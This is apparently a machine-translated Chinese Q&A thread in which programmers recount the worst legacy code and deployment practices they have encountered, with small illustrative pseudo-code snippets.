我记得必须设置IIS 3才能运行Perl CGI脚本(是的,那是很久以前的事情了)。当时的官​​方建议是将Perl.exe放入cgi-bin。它起作用了,但是它也使每个人都可以使用功能强大的脚本引擎!


哦,米!可能Internet上仍然挂有perl.exe的站点。
jsbueno 2011年


5

SQL查询直接在ASP应用程序中的javascript中进行。不能再弄脏了...


5

我们有一个应用程序将所有全局状态加载到xml文件中。没问题,除了开发人员创建了一种新的递归形式。

<settings>
  <property>
      <name>...</name>
      <value>...</value>
      <property>
          <name>...</name>
          <value>...</value>
          <property>
              <name>...</name>
              <value>...</value>
              <property>
                   <name>...</name>
                   <value>...</value>
                   <property>
                        <name>...</name>
                        <value>...</value>
                       <property>
                             <name>...</name>
                             <value>...</value>
                            <property>

然后是有趣的部分。当应用程序加载时,它将遍历属性列表,并将它们添加到全局(平面)列表中,同时增加一个神秘计数器。神秘计数器的名称完全不相关,用于神秘计算:

List properties = new List();
Node<-root
while node.hasNode("property")
    add to properties list
    my_global_variable++;
    if hasNode("property")
         node=getNode("property"), ... etc etc

然后你得到像

calculateSumOfCombinations(int x, int y){
   return x+y+my_global_variable;
}

编辑:澄清-我花了很长时间才弄清楚他是在计算递归的深度,因为在6或7级,属性改变了含义,因此他使用计数器将其平面套件分为2套不同类型的套件,有点像拥有STATE,STATE,STATE,CITY,CITY,CITY的列表,并检查index> counter以查看您的名字是城市还是州)


4

我们没有为需要持续运行的服务器进程编写Windows服务,而是由我们的一个“架构师”编写了一个控制台应用程序,并使用任务计划程序每60秒运行一次。

请记住,这是在.NET中非常容易创建服务的地方。

-

同样,在同一位置使用控制台应用程序托管.NET远程服务,因此他们必须启动控制台应用程序并锁定会话,以使其在每次重新启动服务器时均保持运行。

-

在最后的地方,我工作的建筑师之一有一个单一的有100类,在大小类似250K C#源代码文件。


编写程序并使用任务计划程序运行它是处理计时过程问题的正确方法。Windows服务不会被用作安排应用程序的一种方式-这就是Windows服务taskcheduler的重点。
安德鲁·威尔2009年

1
大声笑,没有时间参与。该服务需要一直运行,但是我想他认为每60秒就足够了。
Dana Holt,2009年

啊,我明白了。现在这很有意义
安德鲁·威尔

编辑使其更清晰。:)
Dana Holt

3

32个源代码文件,每个文件有1万多行代码。每个都包含一个类。每个类都包含一个执行“所有操作”的方法

在我不得不重构之前,调试该代码确实是一场噩梦。


3

在一个较早的工作场所,我们继承了一个遗留项目,该项目先前已被部分退回。主要应用程序是Java,外包部分是本地C库。一次我看了看C源文件。我列出了目录的内容。有几个大小超过200K的源文件。最大的C文件是600 KB

谢谢上帝,我从来没有真正去碰过他们:-)


3

当同事在国外某个客户时,我得到了一套程序来进行升级(安装所述程序)。每个程序中都有一个密钥库,然后尝试找出代码,我意识到一个程序与另一个程序之间的细微差别。在一个公共库中。

意识到这一点,我对所有副本进行了文本比较。在16个中,我认为大约有9个与众不同。我觉得很合适。

老板进行了干预,并让同事整理了一个看似通用的版本。他们通过电子邮件发送了代码。我不知道,那里有带有不可打印字符的字符串,以及一些混合编码。电子邮件使它变得很乱。

无法打印的字符用于将数据(所有字符串!)从服务器发送到客户端。因此,所有字符串在服务器端都用0x03字符分隔,并使用Split函数在C#中重新组装了客户端。

最明智的方法是:

someVariable.Split(Convert.ToChar(0x03);

比较聪明和友好的方法是使用常量:

private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);

EVIL方式是我的同事选择的:在Visual Studio中使用0x03的任何“打印件”,并将其放在引号之间:

someVariable.Split('/*unprintable character*/');

此外,在该库(以及所有相关程序)中,没有一个变量是局部变量(我检查过!)。函数被设计为在认为可以安全地浪费它们的情况下恢复相同的变量,或者创建可以在整个过程中持续使用的新变量。我打印了几页并对其进行了颜色编码。黄色表示“全局,从未被其他函数更改”,红色表示“全局,已被多个函数更改”。绿色本来是“本地的”,但没有一个。

哦,我提到控制版本了吗?因为当然没有。

添加:我只是想起不久前发现的一个功能。

它的目的是遍历整数数组的数组,并将第一项和最后一项设置为0。它是这样的(不是实际的代码,来自内存,还有更多的C#风格):

FixAllArrays()
{
    for (int idx = 0; idx < arrays.count- 1; idx++)
    {
        currArray = arrays[idx];
        nextArray = arrays[idx+1];
        SetFirstToZero(currArray);
        SetLastToZero(nextArray);

        //This is where the fun starts
        if (idx == 0)
        {
            SetLastToZero(currArray);
        }

        if (idx == arrays.count- 1)
        {
            SetFirstToZero(nextArray);
        }
    }
}

当然,关键是每个子数组都必须在所有项目上完成这两项操作。我只是不确定程序员如何决定这样的事情。


2

与上面提到的其他人类似:

我在应用程序中使用伪脚本语言的地方工作。它注入了一个庞大的方法,该方法具有约30个参数和一个宏指令Select Case

现在是时候添加更多参数了,但是必须这样做的团队成员意识到已经有太多参数了。

他的解决方案?

object最后,他添加了一个参数,因此他可以传入任何想要的内容,然后进行转换。

我不能足够快地离开那个地方。


我在Flash中写了类似的内容来编写一个小型操作系统的脚本,该操作系统处理命令字符串数组。所有命令字符串都遵循相同的基本格式“ cmd_name:param1 | param2 | param3 | etc”,因此所有字符串均由单个函数处理,并带有带有约15个大小写标签的命令名的switch语句。它既简单又易于维护,但是该方法本身只有几个参数,而不是三十个。无论如何,在已经有人设置了30个参数之后,看到某人在对象上钉了钉子,我也该跑了。太疯狂了
Triynko

2

在我们的客户团队报告了一些奇怪的问题之后,我们注意到该应用程序的两个不同版本指向同一个数据库。(在向他们部署新系统时,他们的数据库已升级,但是每个人都忘记了关闭旧系统)

这是一个奇迹般的逃生。

从那时起,幸运的是,我们有了一个自动的构建和部署过程:-)


2

我认为这是一个程序,该程序将循环加载到pdp-10的通用寄存器中,然后在这些寄存器中执行代码。

您可以在pdp-10上执行此操作。那并不意味着你应该。

编辑:至少这是我的回忆(有时相当破旧)。


2

我很不幸地参与了在半定制数据库高可用性解决方案中发现相当疯狂的行为。

核心位没有什么变化。红帽企业版Linux,MySQL,DRBD和Linux-HA。但是,该配置是由完全自定义的类似人偶的系统维护的(毫不奇怪,该系统还导致了许多其他疯狂的例子)。

原来,系统正在检查 install.logKickstart保留在根目录中文件,以获取创建DRBD配置所需的部分信息。当然,这本身就是邪恶的。您不会从未实际定义格式的日志文件中提取配置。但是,情况变得更糟。

它没有在其他任何地方存储此数据,而是每次运行时(即每60秒一次)查询一次 install.log

我只是让你猜猜第一次有人决定删除这个原本无用的日志文件时发生了什么。

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.